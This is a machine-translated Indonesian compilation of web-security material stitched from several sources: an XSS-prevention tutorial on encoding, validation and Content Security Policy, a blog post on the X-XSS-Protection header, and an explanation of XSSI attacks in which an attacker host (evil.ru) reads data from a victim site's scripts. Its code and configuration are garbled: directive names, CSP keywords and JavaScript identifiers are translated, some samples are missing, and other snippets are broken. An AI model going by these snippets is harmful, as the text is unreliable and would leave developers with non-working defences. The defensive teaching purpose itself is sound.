Konteks terakhir yang disebutkan di atas (nilai dalam JavaScript) tidak disertakan dalam daftar ini karena JavaScript tidak menyediakan cara bawaan untuk menyandikan data yang akan disertakan dalam kode sumber JavaScript.
Keterbatasan PengkodeanBahkan saat melakukan pengkodean, string berbahaya dapat digunakan dalam beberapa konteks. Contoh jelasnya adalah ketika input pengguna digunakan untuk menyediakan URL, seperti pada contoh di bawah ini:
dokumen.querySelector("a").href = input pengguna
Meskipun menentukan nilai pada properti href suatu elemen secara otomatis mengkodekannya sehingga menjadi tidak lebih dari nilai atribut, hal ini tidak mencegah penyerang memasukkan URL yang dimulai dengan "javascript:". Saat tautan diklik, apa pun konstruksinya, JavaScript yang tertanam di dalam URL akan dijalankan.
Pengkodean juga bukan solusi efektif ketika Anda ingin pengguna dapat menggunakan beberapa kode HTML pada halaman. Contohnya adalah halaman profil pengguna tempat pengguna dapat menggunakan HTML khusus. Jika HTML biasa ini dikodekan, halaman profil hanya akan terdiri dari teks biasa.
Dalam situasi seperti itu, pengkodean harus dilengkapi dengan validasi, yang akan kita bahas nanti.
ValidasiValidasi adalah tindakan memfilter masukan pengguna sehingga semua bagian berbahaya dihapus, tanpa harus menghapus semua kode di dalamnya. Salah satu jenis validasi yang paling banyak digunakan dalam pengembangan web memungkinkan Anda menggunakan beberapa elemen HTML (misalnya, dan ) sambil menonaktifkan elemen lainnya (misalnya, ).
Ada dua pemeriksaan karakteristik utama, yang berbeda dalam implementasinya:
Strategi Klasifikasi Input pengguna dapat diklasifikasikan menggunakan daftar hitam atau daftar putih. Hasil Validasi Masukan pengguna yang diidentifikasi sebagai berbahaya dapat ditolak atau dibersihkan.
Strategi klasifikasi Daftar HitamSecara naluriah, tampaknya tepat untuk melakukan pemeriksaan dengan menentukan pola terlarang yang tidak boleh muncul di input pengguna. Jika sebuah garis cocok dengan pola ini, maka garis tersebut ditandai sebagai tidak valid. Misalnya, izinkan pengguna mengirimkan URL khusus dengan protokol apa pun kecuali javascript: . Strategi klasifikasi ini disebut daftar hitam.
Namun, daftar hitam memiliki dua kelemahan utama:
Kesulitan dalam mendeskripsikan secara akurat kumpulan semua kemungkinan string berbahaya biasanya merupakan tugas yang sangat sulit. Contoh kebijakan yang dijelaskan di atas tidak dapat berhasil diterapkan hanya dengan mencari substring "javascript" karena akan kehilangan string seperti "Javascript:" (yang huruf pertamanya adalah huruf besar) dan "javascript:" (yang huruf pertamanya dikodekan sebagai numerik referensi karakter). Penghentian Sekalipun daftar hitam sempurna dikembangkan, akan sia-sia jika fitur baru yang ditambahkan ke browser dapat digunakan untuk menyerang. Misalnya, jika daftar hitam validasi HTML dikembangkan sebelum atribut onmousewheel diperkenalkan di HTML5, hal tersebut tidak akan dapat menghentikan penyerang menggunakan atribut ini untuk melakukan serangan XSS. Kerugian ini sangat penting dalam pengembangan web, yang terdiri dari banyak teknologi berbeda yang terus diperbarui.
Karena kekurangan ini, daftar hitam sangat tidak disarankan sebagai strategi klasifikasi. Memasukkan ke daftar putih umumnya merupakan pendekatan yang jauh lebih aman, yang akan kami jelaskan selanjutnya.
Daftar putihDaftar putih pada dasarnya adalah kebalikan dari daftar hitam: alih-alih mengidentifikasi pola yang dilarang, pendekatan daftar putih mengidentifikasi pola yang diperbolehkan dan menandai masukan sebagai tidak valid jika pola tersebut tidak valid. tidak cocok templat ini.
Berbeda dengan daftar hitam, contoh daftar putih adalah mengizinkan pengguna mengirimkan URL khusus yang hanya berisi protokol http: dan https:, tidak lebih. Pendekatan ini akan memungkinkan URL secara otomatis ditandai sebagai tidak valid jika berisi protokol javascript:, meskipun direpresentasikan sebagai "Javascript:" atau "javascript:".
Dibandingkan dengan daftar hitam, daftar putih memiliki dua keunggulan utama:
Kesederhanaan Mendeskripsikan secara akurat kumpulan string yang tidak berbahaya biasanya jauh lebih mudah daripada mengidentifikasi kumpulan semua string yang berbahaya. Hal ini terutama berlaku dalam situasi umum di mana masukan pengguna harus mencakup serangkaian fungsi yang sangat terbatas yang tersedia di browser. Misalnya, daftar putih yang dijelaskan di atas dengan sangat sederhana mengizinkan URL untuk digunakan hanya dengan protokol HTTP: atau https: yang diizinkan, dan dalam sebagian besar situasi, ini sudah cukup bagi pengguna. Daya Tahan Berbeda dengan daftar hitam, daftar putih biasanya tidak menjadi usang ketika fitur baru ditambahkan ke browser. Misalnya, validasi daftar putih HTML memungkinkan hanya atribut judul elemen HTML yang tetap aman, meskipun (daftar putih) dirancang sebelum pengenalan atribut onmousewheel HTML5.
Hasil validasiKetika input pengguna ditandai sebagai tidak valid (dilarang), salah satu dari dua tindakan dapat dilakukan:
Menolak masukan berarti ditolak, mencegahnya digunakan di tempat lain di situs. Sanitasi semua bagian data masukan yang tidak valid dihapus dan sisa masukan digunakan di situs web seperti biasa.
Dari keduanya, defleksi merupakan pendekatan yang paling sederhana untuk diterapkan. Namun disinfeksi dinilai lebih bermanfaat karena memberikan masukan yang lebih luas bagi pengguna. Misalnya, jika pengguna mengirimkan nomor kartu kredit, sanitasi akan menghapus semua karakter non-simbol dan mencegah injeksi kode, dan juga memungkinkan pengguna memasukkan nomor dengan atau tanpa tanda hubung.
Jika Anda memutuskan untuk menerapkan disinfeksi, Anda perlu memastikan bahwa prosedur disinfeksi itu sendiri tidak menggunakan pendekatan blacklist. Misalnya, URL "Javascript:...", meskipun diidentifikasi menggunakan daftar putih sebagai tidak valid, akan menerima rutinitas bypass sanitasi yang hanya menghapus semua contoh "javascript:". Oleh karena itu, perpustakaan dan kerangka kerja yang telah teruji harus menggunakan sanitasi bila memungkinkan.
Metode apa yang harus digunakan untuk pencegahan?Pengkodean harus menjadi garis pertahanan pertama Anda terhadap serangan XSS, tujuannya adalah untuk memproses data sedemikian rupa sehingga browser tidak dapat menafsirkan masukan pengguna sebagai kode. Dalam beberapa kasus, pengkodean harus dilengkapi dengan validasi. Pengkodean dan validasi harus diterapkan pada lalu lintas keluar karena hanya dengan demikian Anda dapat mengetahui dalam konteks apa input pengguna akan diterapkan dan pengkodean dan validasi apa yang perlu diterapkan.
Sebagai garis pertahanan kedua, Anda harus menerapkan sanitasi data masuk atau penolakan input pengguna yang jelas-jelas tidak valid, seperti tautan, menggunakan protokol javascript:. Hal ini tidak dapat dengan sendirinya memberikan keamanan yang lengkap, namun merupakan tindakan pencegahan yang berguna jika ada titik dalam perlindungan pengkodean dan validasi yang bisa gagal karena eksekusi yang salah.
Jika kedua garis pertahanan ini digunakan secara konsisten, situs Anda akan terlindungi dari serangan XSS. Namun, karena rumitnya pembuatan dan pemeliharaan situs web, memberikan keamanan lengkap hanya dengan menggunakan pemrosesan masukan pengguna yang aman bisa jadi sulit. Sebagai garis pertahanan ketiga, Anda harus menggunakan Kebijakan Keamanan Konten ( Bahasa inggris Kebijakan Keamanan Konten), lalu CSP, yang akan kami jelaskan di bawah.
Kebijakan Keamanan Konten (CSP)Hanya menggunakan penanganan input pengguna yang aman untuk melindungi dari serangan XSS tidaklah cukup karena satu kesalahan keamanan saja dapat membahayakan situs web Anda. Mengadopsi Kebijakan Keamanan Konten (CSP) dari standar web baru dapat mengurangi risiko ini.
CSP digunakan untuk membatasi penggunaan halaman web oleh browser sehingga hanya dapat menggunakan sumber daya yang diunduh dari sumber tepercaya. A sumber daya adalah skrip, style sheet, gambar, atau beberapa jenis file lain yang direferensikan pada suatu halaman. Artinya, meskipun penyerang berhasil memasukkan konten berbahaya ke situs Anda, CSP akan dapat mencegah eksekusinya.
CSP dapat digunakan untuk menegakkan aturan berikut:
Melarang Sumber Tidak Tepercaya Sumber daya eksternal hanya dapat diunduh dari sumber terpercaya yang didefinisikan dengan jelas. Dengan melarang sumber daya yang disematkan, JavaScript dan CSS sebaris tidak akan diperhitungkan. Menonaktifkan eval melarang penggunaan fungsi eval di JavaScript.
CSP sedang beraksiDalam contoh berikut, penyerang berhasil memasukkan kode berbahaya ke halaman web:
Komentar terakhir:
Dengan kebijakan CSP yang ditentukan dengan benar, browser tidak dapat mengunduh dan mengeksekusi skrip berbahaya.js karena http://penyerang/ tidak ditentukan sebagai sumber tepercaya. Meskipun situs gagal memproses masukan pengguna dengan andal dalam kasus ini, kebijakan CSP mencegah kerentanan tersebut menyebabkan kerugian.
Bahkan jika penyerang menyuntikkan kode ke dalam kode skrip dan bukan tautan ke file eksternal, kebijakan CSP yang dikonfigurasi dengan benar juga akan mencegah injeksi ke dalam kode JavaScript, mencegah kerentanan dan menyebabkan bahaya apa pun.
Bagaimana cara mengaktifkan CSP?Secara default, browser tidak menggunakan CSP. Untuk mengaktifkan SCP di situs web Anda, halaman harus berisi header HTTP tambahan: Content‑Security‑Policy. Halaman mana pun yang berisi header ini akan menerapkan kebijakan keamanan saat dimuat oleh browser, asalkan browser mendukung CSP.
Karena kebijakan keamanan dikirim dengan setiap respons HTTP, server dapat menetapkan kebijakan secara individual untuk setiap halaman. Kebijakan yang sama dapat diterapkan ke seluruh situs web dengan menyisipkan header CSP yang sama di setiap respons.
Nilai di header Content‑Security‑Policy berisi string yang menentukan satu atau beberapa kebijakan keamanan yang akan dijalankan di situs Anda. Sintaks baris ini akan dijelaskan di bawah.
Contoh judul di bagian ini menggunakan jeda baris dan lekukan untuk memudahkan referensi; mereka tidak boleh muncul dalam judul sebenarnya.
Sintaks CSPSintaks header CSP adalah sebagai berikut:
Kebijakan-Keamanan-Konten:
pengarahan ekspresi sumber, ekspresi sumber, ...;
pengarahan ...;
...
Sintaks ini terdiri dari dua elemen:
- Arahan adalah string yang menunjukkan jenis sumber daya yang diambil dari daftar tertentu.
- Ekspresi sumber adalah model yang menjelaskan satu atau lebih server tempat sumber daya dapat dimuat.
Untuk setiap arahan, data dalam ekspresi sumber menentukan sumber mana yang dapat digunakan untuk memuat sumber daya dari jenis yang sesuai.
ArahanArahan berikut dapat digunakan di header CSP:
- sambungkan-src
- font-src
- bingkai-src
- img-src
- media-src
- objek‑src
- skrip-src
- gaya‑src
Selain itu, direktif default-src khusus dapat digunakan untuk memberikan nilai default untuk semua direktif yang tidak disertakan dalam header.
Ekspresi sumberSintaks untuk membuat ekspresi sumber adalah sebagai berikut:
protokol:// nama host: nomor port
Nama host dapat dimulai dengan *, artinya subdomain apa pun dari nama host yang disediakan akan diselesaikan. Demikian pula, nomor port dapat direpresentasikan sebagai *, yang berarti semua port akan diizinkan. Selain itu, protokol dan nomor port dapat dihilangkan. Jika tidak ada protokol yang ditentukan, kebijakan akan mengharuskan semua sumber daya dimuat menggunakan HTTPS.
Selain sintaks di atas, ekspresi sumber juga dapat berupa salah satu dari empat kata kunci dengan arti khusus (termasuk tanda kutip):
"tidak ada" menonaktifkan sumber daya. "self" mengizinkan sumber daya dari host tempat halaman web berada. "unsafe‑inline" menyelesaikan sumber daya yang terdapat pada halaman sebagai elemen inline, elemen, dan javascript: URL. "unsafe-eval" mengaktifkan fungsi JavaScript eval .
Harap dicatat bahwa setiap kali CSP digunakan, sumber daya bawaan dan eval secara otomatis dinonaktifkan secara default. Menggunakan "unsafe-inline" dan "unsafe-eval" adalah satu-satunya cara untuk menggunakannya.
Contoh KebijakanKebijakan-Keamanan-Konten:
script‑src "mandiri" scripts.example.com;
media‑src "tidak ada";
img‑src *;
default‑src "diri" http://*.example.com
Dengan contoh kebijakan ini, halaman web akan memiliki batasan berikut:
- Skrip hanya dapat diunduh dari host tempat halaman web berada dan dari alamat ini: scripts.example.com.
- File audio dan video dilarang diunduh.
- File gambar dapat diunduh dari alamat mana pun.
- Semua sumber daya lainnya hanya dapat dimuat dari host tempat halaman web berada dan dari subdomain mana pun di example.com.
Mulai Juni 2013, Kebijakan Keamanan Konten direkomendasikan oleh konsorsium W3C. CSP diimplementasikan oleh pengembang browser, namun beberapa bagiannya dikhususkan untuk browser yang berbeda. Misalnya, penggunaan header HTTP mungkin berbeda antar browser. Sebelum menggunakan CSP, lihat dokumentasi browser yang ingin Anda dukung.
Ringkasan Ringkasan: Ikhtisar XSS- Serangan XSS adalah serangan injeksi kode yang terjadi karena pemrosesan input pengguna yang tidak aman.
- Serangan XSS yang berhasil memungkinkan penyerang mengeksekusi JavaScript berbahaya di browser korban.
- Serangan XSS yang berhasil membahayakan keamanan situs web dan penggunanya.
- Ada tiga jenis utama serangan XSS:
- XSS yang disimpan, tempat masukan berbahaya berasal dari database situs web.
- Mencerminkan XSS, di mana masukan berbahaya berasal dari permintaan korban.
- Serangan XSS di DOM, di mana kerentanan dieksploitasi dalam kode di sisi klien, dan bukan di sisi server.
- Semua serangan ini dilakukan secara berbeda, namun memiliki efek yang sama jika berhasil.
- Cara paling penting untuk mencegah serangan XSS adalah dengan melakukan pemrosesan input yang aman.
- Pengkodean harus dilakukan setiap kali input pengguna diaktifkan pada halaman.
- Dalam beberapa kasus, pengkodean harus diganti atau ditambah dengan validasi.
- Penanganan masukan yang aman harus mempertimbangkan konteks halaman tempat masukan pengguna dimasukkan.
- Untuk mencegah semua jenis serangan XSS, pemrosesan input yang aman harus dilakukan dalam kode sisi klien dan sisi server.
- Kebijakan Keamanan Konten (CSP) memberikan lapisan perlindungan tambahan jika pemrosesan input aman mengandung kesalahan.
Perlu dicatat bahwa ada persilangan dalam terminologi yang digunakan untuk menggambarkan XSS: serangan XSS di DOM dapat disimpan atau dipantulkan; Ini bukanlah jenis serangan yang terpisah. Tidak ada terminologi yang diterima secara umum yang mencakup semua jenis XSS tanpa kebingungan. Terlepas dari terminologi yang digunakan untuk mendeskripsikan XSS, yang terpenting adalah menentukan jenis serangannya, hal ini mungkin terjadi jika Anda mengetahui dari mana masukan berbahaya itu berasal dan di mana letak kerentanannya.
Hak penggunaan dan tautanKode sumber untuk Kelebihan XSS tersedia di GitHub.
Kelebihan XSS dibuat pada tahun 2013 sebagai bagian dari kursus Keamanan Berbasis Bahasa di Universitas Teknologi Chalmers.
Terjemahan ke dalam bahasa Rusia dilakukan oleh A888R, teks asli dalam bahasa Inggris: kelebihan-xss.com, komentar, saran dan kesalahan dalam terjemahan harus dikirim ke sini.
Penggunaan security header merupakan bagian penting dalam melindungi website dan pengunjungnya dari serangan hacker. Pada artikel terakhir tentang bagian perlindungan dan keamanan, saya berjanji untuk menerbitkan postingan tentang topik ini secara rutin. Hari ini saya akan berbicara tentang perlindungan terhadap serangan XSS.
Apa itu serangan XSSCross Site Scripting adalah kerentanan yang memungkinkan penyerang memasukkan kode berbahaya (biasanya HTML atau JavaScript) ke dalam konten situs web. Kode berbahaya dijalankan di browser pengguna yang melihat halaman situs web yang terinfeksi.
Penyerang dapat mengeksploitasi berbagai kerentanan. Jenis serangan yang paling umum adalah:
- XSS yang dicerminkan adalah jenis serangan non-persisten yang paling umum, yang memerlukan tindakan spesifik dari pengguna.
- XSS yang persisten adalah jenis serangan permanen yang menyuntikkan kode berbahaya ke server dan tidak memerlukan intervensi pengguna.
Dipicu ketika pengguna mengklik tautan yang disiapkan khusus yang mengirimkan permintaan ke situs dengan kerentanan. Kerentanan ini biasanya disebabkan oleh kurangnya pemfilteran terhadap permintaan masuk, sehingga fungsi dapat dimanipulasi dan skrip berbahaya dapat diaktifkan.
Agar berhasil melakukan serangan tersimpan, penyerang hanya perlu menemukan kerentanan di situs dan menempatkan skrip berbahaya di servernya. Situs tersebut kemudian menempatkan tag yang memuat skrip dari situs eksternal, misalnya, di komentar. Saat halaman yang terinfeksi dimuat, skrip berbahaya dikirimkan ke browser pengguna setiap saat.
Header X-XSS-Protection dimaksudkan untuk mengaktifkan filter skrip lintas situs yang terpasang di semua browser modern. Ini akan memungkinkan, misalnya, untuk mencegah eksekusi tag di URL halaman.
Arahan laporan untuk mengirimkan laporan bertindak serupa dengan arahan Kebijakan Keamanan Konten (CSP) report-uri (atau laporan-ke), yang menginstruksikan browser pengguna untuk melaporkan upaya yang melanggar kebijakan keamanan konten. Saya akan membicarakan hal ini di artikel terpisah.
Laporan pelanggaran dibuat dalam format JSON dan dikirim melalui permintaan POST ke URL yang ditentukan.
Kembali ke topik utama, saya sarankan untuk mengatur server sedemikian rupa sehingga header HTTP menyertakan pemfilteran dan, jika terjadi serangan XSS, memblokir pemuatan halaman dengan konten yang tidak aman. Dalam file konfigurasi tambahan.htaccess (atau httpd.conf jika Anda memiliki akses penuh ke server) server web Apache, Anda perlu menambahkan entri berikut:
Set header X-XSS-Perlindungan "1; mode=blok"Untuk server Nginx, tambahkan entri berikut ke file nginx.conf di bagian HTTP:
Add_header X-XSS-Perlindungan "1; mode=blok" ;
Jika tidak ada akses ke file konfigurasi server, tetapi ada dukungan PHP, gunakan fungsi:
Cross Site Scripting, juga dikenal sebagai XSS, adalah metode menyuntikkan kode berbahaya yang dieksekusi di sisi klien. Pengguna mungkin melihat sesuatu yang salah, misalnya, perilaku halaman yang tidak biasa, terkadang serangan terjadi tanpa disadari di latar belakang.
Semoga Anda sekarang lebih memahami tentang header server HTTP dan X-XSS dapat membantu mencegah pembuatan skrip lintas situs. Saya menggunakan header keamanan di semua situs saya dan sangat menganjurkan Anda untuk melakukan hal yang sama. Bersama-sama kita bisa menjadikan Internet lebih aman! 😉
Tentang kemungkinan memperoleh berbagai informasi dari situs pihak ketiga menggunakan serangan sederhana - Cross Site Scripting Inclusion (XSSI).
Jika Anda membaca Easy Hack secara sistematis, Anda mungkin sudah sangat familiar dengan Same Origin Policy (SOP), kami sering kembali ke sana. Karena SOP tersebut, kemampuan interaksi antara kedua “situs” tersebut sangat terbatas. Namun karena tugas menerima dan mengirim informasi dari satu situs ke situs lain sering muncul, berbagai metode telah diperkenalkan untuk “melunakkan” kebijakan dan mengatur interaksi. Misalnya seperti CORS atau crossdomain.xml. Salah satu metode lama adalah memuat JavaScript dari domain lain melalui . SOP tidak membatasi kami dengan cara apa pun di sini: Anda dapat menentukan lokasi yang hampir berubah-ubah.
Misalnya, ada host penyerang evil.ru dan situs korban - korban.com. Di evil.ru kita dapat meletakkan file HTML dan link ke skrip apa pun dari korban:
Ketika pengguna memasuki situs penyerang, browser akan memuat dan menjalankan JS dari korban.com, tetapi dalam konteks SOP evil.ru. Artinya dari JS penyerang kita akan bisa mengakses (tidak semua) data JS dari server korban.
Misalnya konten JS dari situs korban (http://victim.com/any_script_.js):
Var a = "12345";
Kemudian di website penyerang kita bisa mendapatkan nilai variabel:
konsol.log(a);
Ide karyanya sederhana seperti ketel aluminium.
Faktanya, kemampuan untuk memuat JS statis dari situs lain tidak menimbulkan masalah lebih besar bagi situs korban daripada memuat gambar.
Masalah bisa muncul ketika JS dihasilkan secara dinamis, yaitu ketika konten skrip JS berubah berdasarkan data dari cookie tergantung pengguna mana yang mengaksesnya. Misalnya, JS menyimpan beberapa informasi “penting”: informasi pribadi (email, nama pengguna di situs korban) atau informasi teknis (token anti-CSRF).
Namun seperti yang kita ketahui, saat memuat skrip melalui tag, browser pengguna secara otomatis mengirimkan cookie kepada pengguna. Dengan menambahkan fakta-fakta ini, kami dapat memperoleh informasi tentang pengguna mana pun yang telah mengunjungi situs web penyerang dan masuk ke situs korban.
Apa yang bisa kita temukan? Variabel global dan hasil fungsi global. Sayangnya, kami tidak dapat mengakses variabel/fungsi internal (walaupun mungkin seseorang akan menemukan cara untuk melakukannya juga).
Uji fungsi())( mengembalikan "fungsi data pribadi dari fungsi"; )
Serangan ini tampaknya mungkin terjadi, tetapi tampaknya terlalu sederhana dan tidak umum terjadi. Hal inilah yang membuat presentasi di Black Hat menjadi menarik. Para peneliti menganalisis 150 situs web populer dan menemukan bahwa sepertiga dari situs tersebut rentan pada tingkat tertentu. Statistik ini memaksa kita untuk melihat permasalahan ini lebih dekat.
Pola lain juga terungkap. Kebijakan Keamanan Konten menjadi lebih umum. Seperti yang Anda ketahui, dengan bantuannya kami dapat menunjukkan dari domain mana sumber daya ini atau itu dapat dimuat. Misalnya, Anda dapat mengatakan untuk mengeksekusi JS hanya dari sumber daya yang sama. Selain itu, praktik terbaik untuk menyiapkan CSP termasuk melarang eksekusi JS inline (yaitu, kode yang terletak langsung di HTML, dan tidak dimuat dari file JS).
Namun, mentransfer inline ke file dapat dilakukan dengan kruk dan terburu-buru - yaitu melalui skrip yang dibuat secara dinamis. Karena CSP tidak berpengaruh pada XSSI, kami dapat melakukan serangan lagi. Ini adalah praktik yang buruk.
